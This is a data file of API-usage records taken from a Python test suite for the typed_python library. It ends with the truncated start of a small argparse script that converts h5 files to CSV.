{"api_name": "typed_python.Alternative", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 107, "usage_type": "attribute"}, {"api_name": "unittest.TestCase", "line_number": 172, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 175, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 175, "usage_type": "attribute"}, {"api_name": "typed_python.Int8", "line_number": 185, "usage_type": "name"}, {"api_name": "typed_python.NoneType", "line_number": 186, "usage_type": "name"}, {"api_name": "typed_python._types.isBinaryCompatible", "line_number": 189, "usage_type": "attribute"}, {"api_name": "typed_python._types", "line_number": 189, "usage_type": "name"}, {"api_name": "typed_python.NoneType", "line_number": 191, "usage_type": "argument"}, {"api_name": "typed_python.Int8", "line_number": 192, "usage_type": "argument"}, {"api_name": "typed_python.NamedTuple", "line_number": 194, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 196, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 199, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 208, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 209, "usage_type": "call"}, {"api_name": "typed_python._types.isBinaryCompatible", "line_number": 212, "usage_type": "attribute"}, {"api_name": "typed_python._types", "line_number": 212, "usage_type": "name"}, {"api_name": "typed_python.Alternative", "line_number": 214, "usage_type": "call"}, {"api_name": "typed_python.Alternative", "line_number": 215, "usage_type": "call"}, {"api_name": "typed_python._types.isBinaryCompatible", "line_number": 229, "usage_type": "attribute"}, {"api_name": "typed_python._types", "line_number": 229, "usage_type": "name"}, {"api_name": "typed_python.Alternative", "line_number": 231, "usage_type": "call"}, {"api_name": "typed_python.Alternative", "line_number": 232, "usage_type": "call"}, {"api_name": "typed_python.Alternative", "line_number": 249, "usage_type": "call"}, {"api_name": "typed_python.Alternative", "line_number": 257, "usage_type": "call"}, {"api_name": "typed_python.Class", "line_number": 267, "usage_type": "name"}, {"api_name": "typed_python.Member", "line_number": 268, "usage_type": "call"}, {"api_name": "typed_python.Class", "line_number": 276, "usage_type": "name"}, {"api_name": "typed_python.Member", "line_number": 277, "usage_type": "call"}, {"api_name": "typed_python._types.bytecount", "line_number": 297, "usage_type": "call"}, {"api_name": "typed_python.NoneType", "line_number": 297, "usage_type": "argument"}, {"api_name": "typed_python._types", "line_number": 297, "usage_type": "name"}, {"api_name": "typed_python._types.bytecount", "line_number": 298, "usage_type": "call"}, {"api_name": "typed_python.Int8", "line_number": 298, "usage_type": "argument"}, {"api_name": "typed_python._types", "line_number": 298, "usage_type": "name"}, {"api_name": "typed_python._types.bytecount", "line_number": 299, "usage_type": "call"}, {"api_name": "typed_python.Int64", "line_number": 299, "usage_type": "argument"}, {"api_name": "typed_python._types", "line_number": 299, "usage_type": "name"}, {"api_name": "typed_python._types", "line_number": 303, "usage_type": "argument"}, {"api_name": "typed_python.TupleOf", "line_number": 306, "usage_type": "call"}, {"api_name": "typed_python.Alternative", "line_number": 323, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 324, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 329, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 333, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 335, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 340, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 344, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 348, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 354, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 355, "usage_type": "call"}, {"api_name": "time.time", "line_number": 366, "usage_type": "call"}, {"api_name": "time.time", "line_number": 371, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 376, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 384, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 393, "usage_type": "call"}, {"api_name": "typed_python.ListOf", "line_number": 396, "usage_type": "call"}, {"api_name": "typed_python.ListOf", "line_number": 428, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 428, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 434, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 435, "usage_type": "call"}, {"api_name": "typed_python._types.refcount", "line_number": 441, "usage_type": "call"}, {"api_name": "typed_python._types", "line_number": 441, "usage_type": "name"}, {"api_name": "typed_python._types.refcount", "line_number": 446, "usage_type": "call"}, {"api_name": "typed_python._types", "line_number": 446, "usage_type": "name"}, {"api_name": "typed_python._types.refcount", "line_number": 453, "usage_type": "call"}, {"api_name": "typed_python._types", "line_number": 453, "usage_type": "name"}, {"api_name": "typed_python._types.refcount", "line_number": 457, "usage_type": "call"}, {"api_name": "typed_python._types", "line_number": 457, "usage_type": "name"}, {"api_name": "typed_python._types.refcount", "line_number": 462, "usage_type": "call"}, {"api_name": "typed_python._types", "line_number": 462, "usage_type": "name"}, {"api_name": "typed_python.OneOf", "line_number": 468, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 473, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 492, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 497, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 500, "usage_type": "call"}, {"api_name": "typed_python.TypeFilter", "line_number": 503, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 509, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 521, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 521, "usage_type": "call"}, {"api_name": "typed_python.serialize", "line_number": 527, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 531, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 531, "usage_type": "call"}, {"api_name": "typed_python.serialize", "line_number": 538, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 554, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 559, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 566, "usage_type": "call"}, {"api_name": "typed_python.Tuple", "line_number": 572, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 572, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 584, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 584, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 586, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 587, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 593, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 609, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 627, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 638, "usage_type": "call"}, {"api_name": "time.time", "line_number": 640, "usage_type": "call"}, {"api_name": "time.time", "line_number": 644, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 649, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 673, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 673, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 715, "usage_type": "call"}, {"api_name": "typed_python.deserialize", "line_number": 723, "usage_type": "call"}, {"api_name": "typed_python.serialize", "line_number": 723, "usage_type": "call"}, {"api_name": "typed_python.deserialize", "line_number": 725, "usage_type": "call"}, {"api_name": "typed_python.serialize", "line_number": 725, "usage_type": "call"}, {"api_name": "typed_python.deserialize", "line_number": 726, "usage_type": "call"}, {"api_name": "typed_python.serialize", "line_number": 726, "usage_type": "call"}, {"api_name": "typed_python.deserialize", "line_number": 727, "usage_type": "call"}, {"api_name": "typed_python.serialize", "line_number": 727, "usage_type": "call"}, {"api_name": "typed_python.deserialize", "line_number": 728, "usage_type": "call"}, {"api_name": "typed_python.serialize", "line_number": 728, "usage_type": "call"}, {"api_name": "typed_python.deserialize", "line_number": 729, "usage_type": "call"}, {"api_name": "typed_python.serialize", "line_number": 729, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 732, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 739, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 746, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 751, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 751, "usage_type": "call"}, {"api_name": "typed_python.deserialize", "line_number": 757, "usage_type": "call"}, {"api_name": "typed_python.serialize", "line_number": 757, "usage_type": "call"}, {"api_name": "typed_python.deserialize", "line_number": 760, "usage_type": "call"}, {"api_name": "typed_python.serialize", "line_number": 760, "usage_type": "call"}, {"api_name": "typed_python.deserialize", "line_number": 772, "usage_type": "call"}, {"api_name": "typed_python.serialize", "line_number": 772, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 777, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 777, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 797, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 800, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 804, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 812, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 818, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 818, "usage_type": "attribute"}, {"api_name": "numpy.random.shuffle", "line_number": 819, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 819, "usage_type": "attribute"}, {"api_name": "typed_python.ConstDict", "line_number": 836, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 845, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 846, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 858, "usage_type": "call"}, {"api_name": "time.time", "line_number": 862, "usage_type": "call"}, {"api_name": "time.time", "line_number": 866, "usage_type": "call"}, {"api_name": "typed_python.Dict", "line_number": 872, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 875, "usage_type": "call"}, {"api_name": "time.time", "line_number": 877, "usage_type": "call"}, {"api_name": "time.time", "line_number": 881, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 886, "usage_type": "call"}, {"api_name": "time.time", "line_number": 888, "usage_type": "call"}, {"api_name": "time.time", "line_number": 892, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 897, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 904, "usage_type": "call"}, {"api_name": "typed_python.Alternative", "line_number": 911, "usage_type": "call"}, {"api_name": "typed_python._types.bytecount", "line_number": 917, "usage_type": "call"}, {"api_name": "typed_python._types", "line_number": 917, "usage_type": "name"}, {"api_name": "typed_python._types.bytecount", "line_number": 918, "usage_type": "call"}, {"api_name": "typed_python._types", "line_number": 918, "usage_type": "name"}, {"api_name": "typed_python._types.bytecount", "line_number": 919, "usage_type": "call"}, {"api_name": "typed_python._types", "line_number": 919, "usage_type": "name"}, {"api_name": "typed_python.Alternative", "line_number": 922, "usage_type": "call"}, {"api_name": "typed_python.Alternative", "line_number": 929, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 940, "usage_type": "call"}, {"api_name": "typed_python.Alternative", "line_number": 955, "usage_type": "call"}, {"api_name": "typed_python.deserialize", "line_number": 962, "usage_type": "call"}, {"api_name": "typed_python.serialize", "line_number": 962, "usage_type": "call"}, {"api_name": "typed_python.deserialize", "line_number": 963, "usage_type": "call"}, {"api_name": "typed_python.serialize", "line_number": 963, "usage_type": "call"}, {"api_name": "typed_python.Alternative", "line_number": 970, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 975, "usage_type": "call"}, {"api_name": "typed_python.Alternative", "line_number": 984, "usage_type": "call"}, {"api_name": "typed_python.Alternative", "line_number": 1010, "usage_type": "call"}, {"api_name": "typed_python.Alternative", "line_number": 1016, "usage_type": "call"}, {"api_name": "typed_python.Alternative", "line_number": 1032, "usage_type": "call"}, {"api_name": "typed_python.Alternative", "line_number": 1043, "usage_type": "call"}, {"api_name": "time.time", "line_number": 1049, "usage_type": "call"}, {"api_name": "time.time", "line_number": 1056, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 1089, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 1089, "usage_type": "attribute"}, {"api_name": "typed_python.TupleOf", "line_number": 1110, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 1120, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 1139, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 1147, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 1171, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 1192, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 1203, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 1204, "usage_type": "call"}, {"api_name": "typed_python.deserialize", "line_number": 1208, "usage_type": "call"}, {"api_name": "typed_python.serialize", "line_number": 1208, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 1230, "usage_type": "call"}, {"api_name": "time.time", "line_number": 1242, "usage_type": "call"}, {"api_name": "typed_python.serialize", "line_number": 1249, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 1249, "usage_type": "call"}, {"api_name": "time.time", "line_number": 1251, "usage_type": "call"}, {"api_name": "typed_python.serialize", "line_number": 1260, "usage_type": "call"}, {"api_name": "typed_python.deserialize", "line_number": 1262, "usage_type": "call"}, {"api_name": "typed_python.serialize", "line_number": 1264, "usage_type": "call"}, {"api_name": "typed_python.Tuple", "line_number": 1273, "usage_type": "call"}, {"api_name": "typed_python.Tuple", "line_number": 1276, "usage_type": "call"}, {"api_name": "typed_python.deserialize", "line_number": 1279, "usage_type": "call"}, {"api_name": "typed_python.serialize", "line_number": 1279, "usage_type": "call"}, {"api_name": "typed_python.Alternative", "line_number": 1284, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 1285, "usage_type": "call"}, {"api_name": "typed_python.deserialize", "line_number": 1289, "usage_type": "call"}, {"api_name": "typed_python.serialize", "line_number": 1289, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 1294, "usage_type": "call"}, {"api_name": "psutil.Process", "line_number": 1297, "usage_type": "call"}, {"api_name": "typed_python.deserialize", "line_number": 1304, "usage_type": "call"}, {"api_name": "typed_python.serialize", "line_number": 1304, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 1309, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 1309, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 1312, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 1317, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 1317, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 1320, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 1320, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 1321, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 1321, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 1322, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 1322, "usage_type": "attribute"}, {"api_name": "typed_python.NamedTuple", "line_number": 1338, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 1341, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 1344, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 1344, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 1347, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 1347, "usage_type": "call"}, {"api_name": "typed_python._types.isBinaryCompatible", "line_number": 1350, "usage_type": "call"}, {"api_name": "typed_python._types", "line_number": 1350, "usage_type": "name"}, {"api_name": "typed_python._types.isBinaryCompatible", "line_number": 1351, "usage_type": "call"}, {"api_name": "typed_python._types", "line_number": 1351, "usage_type": "name"}, {"api_name": "typed_python.NamedTuple", "line_number": 1355, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 1358, "usage_type": "call"}, {"api_name": "typed_python._types.isBinaryCompatible", "line_number": 1366, "usage_type": "call"}, {"api_name": "typed_python._types", "line_number": 1366, "usage_type": "name"}, {"api_name": "typed_python.NamedTuple", "line_number": 1375, "usage_type": "call"}, {"api_name": "typed_python.Alternative", "line_number": 1382, "usage_type": "call"}, {"api_name": "typed_python.Forward", "line_number": 1396, "usage_type": "call"}, {"api_name": "typed_python.Class", "line_number": 1398, "usage_type": "name"}, {"api_name": "typed_python.Member", "line_number": 1399, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 1399, "usage_type": "call"}, {"api_name": "typed_python.ListOf", "line_number": 1412, "usage_type": "call"}, {"api_name": "typed_python.ListOf", "line_number": 1441, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 1441, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 1450, "usage_type": "call"}, {"api_name": "typed_python.ListOf", "line_number": 1451, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 1451, "usage_type": "call"}, {"api_name": "typed_python._types.refcount", "line_number": 1456, "usage_type": "call"}, {"api_name": "typed_python._types", "line_number": 1456, "usage_type": "name"}, {"api_name": "typed_python.ListOf", "line_number": 1459, "usage_type": "call"}, {"api_name": "typed_python.ListOf", "line_number": 1460, "usage_type": "call"}, {"api_name": "typed_python.ListOf", "line_number": 1480, "usage_type": "call"}, {"api_name": "typed_python.ListOf", "line_number": 1490, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 1490, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1492, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1493, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1494, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1495, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1496, "usage_type": "call"}, {"api_name": "typed_python.ListOf", "line_number": 1501, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 1501, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1503, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1504, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1505, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1506, "usage_type": "call"}, {"api_name": "typed_python.ListOf", "line_number": 1511, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 1511, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1513, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1514, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1515, "usage_type": "call"}, {"api_name": "typed_python.ListOf", "line_number": 1520, "usage_type": "call"}, {"api_name": "typed_python.Int64", "line_number": 1520, "usage_type": "argument"}, {"api_name": "typed_python.ListOf", "line_number": 1521, "usage_type": "call"}, {"api_name": "typed_python.Int32", "line_number": 1521, "usage_type": "argument"}, {"api_name": "typed_python.ListOf", "line_number": 1522, "usage_type": "call"}, {"api_name": "typed_python.Int16", "line_number": 1522, "usage_type": "argument"}, {"api_name": "typed_python.ListOf", "line_number": 1523, "usage_type": "call"}, {"api_name": "typed_python.Int8", "line_number": 1523, "usage_type": "argument"}, {"api_name": "typed_python.ListOf", "line_number": 1525, "usage_type": "call"}, {"api_name": "typed_python.UInt64", "line_number": 1525, "usage_type": "argument"}, {"api_name": "typed_python.ListOf", "line_number": 1526, "usage_type": "call"}, {"api_name": "typed_python.UInt32", "line_number": 1526, "usage_type": "argument"}, {"api_name": "typed_python.ListOf", "line_number": 1527, "usage_type": "call"}, {"api_name": "typed_python.UInt16", "line_number": 1527, "usage_type": "argument"}, {"api_name": "typed_python.ListOf", "line_number": 1528, "usage_type": "call"}, {"api_name": "typed_python.UInt8", "line_number": 1528, "usage_type": "argument"}, {"api_name": "typed_python.ListOf", "line_number": 1530, "usage_type": "call"}, {"api_name": "typed_python.Float64", "line_number": 1530, "usage_type": "argument"}, {"api_name": "typed_python.ListOf", "line_number": 1531, "usage_type": "call"}, {"api_name": "typed_python.Float32", "line_number": 1531, "usage_type": "argument"}, {"api_name": "typed_python.ListOf", "line_number": 1534, "usage_type": "call"}, {"api_name": "typed_python.ListOf", "line_number": 1535, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 1542, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 1547, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 1552, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 1556, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 1560, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 1560, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 1561, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 1561, "usage_type": "call"}, {"api_name": "typed_python.Bool", "line_number": 1566, "usage_type": "name"}, {"api_name": "numpy.bool", "line_number": 1566, "usage_type": "attribute"}, {"api_name": "typed_python.Int8", "line_number": 1567, "usage_type": "name"}, {"api_name": "numpy.int8", "line_number": 1567, "usage_type": "attribute"}, {"api_name": "typed_python.Int16", "line_number": 1568, "usage_type": "name"}, {"api_name": "numpy.int16", "line_number": 1568, "usage_type": "attribute"}, {"api_name": "typed_python.Int32", "line_number": 1569, "usage_type": "name"}, {"api_name": "numpy.int32", "line_number": 1569, "usage_type": "attribute"}, {"api_name": "typed_python.Int64", "line_number": 1570, "usage_type": "name"}, {"api_name": "numpy.int64", "line_number": 1570, "usage_type": "attribute"}, {"api_name": "typed_python.UInt8", "line_number": 1571, "usage_type": "name"}, {"api_name": "numpy.uint8", "line_number": 1571, "usage_type": "attribute"}, {"api_name": "typed_python.UInt16", "line_number": 1572, "usage_type": "name"}, {"api_name": "numpy.uint16", "line_number": 1572, "usage_type": "attribute"}, {"api_name": "typed_python.UInt32", "line_number": 1573, "usage_type": "name"}, {"api_name": "numpy.uint32", "line_number": 1573, "usage_type": "attribute"}, {"api_name": "typed_python.UInt64", "line_number": 1574, "usage_type": "name"}, {"api_name": "numpy.uint64", "line_number": 1574, "usage_type": "attribute"}, {"api_name": "typed_python.Float32", "line_number": 1575, "usage_type": "name"}, {"api_name": "numpy.float32", "line_number": 1575, "usage_type": "attribute"}, {"api_name": "typed_python.Float64", "line_number": 1576, "usage_type": "name"}, {"api_name": "numpy.float64", "line_number": 1576, "usage_type": "attribute"}, {"api_name": "typed_python.Bool", "line_number": 1630, "usage_type": "name"}, {"api_name": "typed_python.Int8", "line_number": 1630, "usage_type": "name"}, {"api_name": "typed_python.Int16", "line_number": 1630, "usage_type": "name"}, {"api_name": "typed_python.Int32", "line_number": 1630, "usage_type": "name"}, {"api_name": "typed_python.Int64", "line_number": 1630, "usage_type": "name"}, {"api_name": "typed_python.UInt8", "line_number": 1630, "usage_type": "name"}, {"api_name": "typed_python.UInt16", "line_number": 1630, "usage_type": "name"}, {"api_name": "typed_python.UInt32", "line_number": 1630, "usage_type": "name"}, {"api_name": "typed_python.UInt64", "line_number": 1630, "usage_type": "name"}, {"api_name": "typed_python.Float32", "line_number": 1630, "usage_type": "name"}, {"api_name": "typed_python.Float64", "line_number": 1630, "usage_type": "name"}, {"api_name": "typed_python.Bool", "line_number": 1637, "usage_type": "name"}, {"api_name": "typed_python.Int64", "line_number": 1637, "usage_type": "name"}, {"api_name": "typed_python.Float64", "line_number": 1637, "usage_type": "name"}, {"api_name": "typed_python.Bool", "line_number": 1648, "usage_type": "name"}, {"api_name": "typed_python.Bool", "line_number": 1649, "usage_type": "name"}, {"api_name": "typed_python.Int64", "line_number": 1649, "usage_type": "name"}, {"api_name": "typed_python.Float64", "line_number": 1649, "usage_type": "name"}, {"api_name": "typed_python.TupleOf", "line_number": 1660, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 1661, "usage_type": "call"}, {"api_name": "typed_python.ListOf", "line_number": 1671, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 1672, "usage_type": "call"}, {"api_name": "typed_python.Class", "line_number": 1675, "usage_type": "name"}, {"api_name": "typed_python.Class", "line_number": 1679, "usage_type": "name"}, {"api_name": "typed_python.Class", "line_number": 1690, "usage_type": "name"}, {"api_name": "typed_python.Function", "line_number": 1713, "usage_type": "name"}, {"api_name": "typed_python.NamedTuple", "line_number": 1724, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 1724, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 1738, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 1738, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 1739, "usage_type": "call"}, {"api_name": "typed_python.Dict", "line_number": 1748, "usage_type": "call"}, {"api_name": "typed_python.test_util.currentMemUsageMb", "line_number": 1785, "usage_type": "call"}, {"api_name": "typed_python.test_util.currentMemUsageMb", "line_number": 1789, "usage_type": "call"}, {"api_name": "typed_python.Dict", "line_number": 1792, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 1797, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 1797, "usage_type": "attribute"}, {"api_name": "typed_python.Dict", "line_number": 1813, "usage_type": "call"}, {"api_name": "typed_python.ListOf", "line_number": 1813, "usage_type": "call"}, {"api_name": "typed_python.ListOf", "line_number": 1814, "usage_type": "call"}, {"api_name": "typed_python._types.refcount", "line_number": 1818, "usage_type": "call"}, {"api_name": "typed_python._types", "line_number": 1818, "usage_type": "name"}, {"api_name": "typed_python._types.refcount", "line_number": 1822, "usage_type": "call"}, {"api_name": "typed_python._types", "line_number": 1822, "usage_type": "name"}, {"api_name": "typed_python._types.refcount", "line_number": 1826, "usage_type": "call"}, {"api_name": "typed_python._types", "line_number": 1826, "usage_type": "name"}, {"api_name": "typed_python.ListOf", "line_number": 1828, "usage_type": "call"}, {"api_name": "typed_python._types.refcount", "line_number": 1830, "usage_type": "call"}, {"api_name": "typed_python._types", "line_number": 1830, "usage_type": "name"}, {"api_name": "typed_python._types.refcount", "line_number": 1834, "usage_type": "call"}, {"api_name": "typed_python._types", "line_number": 1834, "usage_type": "name"}, {"api_name": "typed_python._types.refcount", "line_number": 1838, "usage_type": "call"}, {"api_name": "typed_python._types", "line_number": 1838, "usage_type": "name"}, {"api_name": "typed_python.Dict", "line_number": 1842, "usage_type": "call"}, {"api_name": "typed_python.Dict", "line_number": 1847, "usage_type": "call"}, {"api_name": "typed_python.Dict", "line_number": 1864, "usage_type": "call"}, {"api_name": "typed_python._types.isSimple", "line_number": 1875, "usage_type": "attribute"}, {"api_name": "typed_python._types", "line_number": 1875, "usage_type": "name"}, {"api_name": "typed_python.Int32", "line_number": 1878, "usage_type": "call"}, {"api_name": "typed_python.Int16", "line_number": 1879, "usage_type": "call"}, {"api_name": "typed_python.Int8", "line_number": 1880, "usage_type": "call"}, {"api_name": "typed_python.UInt64", "line_number": 1881, "usage_type": "call"}, {"api_name": "typed_python.UInt32", "line_number": 1882, "usage_type": "call"}, {"api_name": "typed_python.UInt16", "line_number": 1883, "usage_type": "call"}, {"api_name": "typed_python.UInt8", "line_number": 1884, "usage_type": "call"}, {"api_name": "typed_python.Class", "line_number": 1890, "usage_type": "name"}, {"api_name": "typed_python.ListOf", "line_number": 1895, "usage_type": "call"}, {"api_name": "typed_python.ListOf", "line_number": 1896, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 1898, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 1899, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 1901, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 1902, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 1903, "usage_type": "call"}, {"api_name": "typed_python.Dict", "line_number": 1905, "usage_type": "call"}, {"api_name": "typed_python.Dict", "line_number": 1906, "usage_type": "call"}, {"api_name": "typed_python.Dict", "line_number": 1907, "usage_type": "call"}, {"api_name": "typed_python.Alternative", "line_number": 1909, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 1911, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 1912, "usage_type": "call"}, {"api_name": "typed_python.Forward", "line_number": 1914, "usage_type": "call"}, {"api_name": "typed_python.Alternative", "line_number": 1915, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 1917, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 1919, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 1920, "usage_type": "call"}, {"api_name": "typed_python.OneOf", "line_number": 1923, "usage_type": "call"}]} {"seq_id": "61386216", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jun 15 13:53:26 2020\n\n@author: engels\n\"\"\"\n\nimport glob\nimport numpy as np\nimport insect_tools\nimport argparse\n\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-d\", \"--directory\", nargs='?', const='./',\n help=\"directory of h5 files, if not ./\")\nparser.add_argument(\"-o\", \"--output\", type=str,\n help=\"\"\"output *.csv value\"\"\")\nargs = parser.parse_args()\n\nif args.directory is None:\n args.directory ='./'\n \nif args.output is 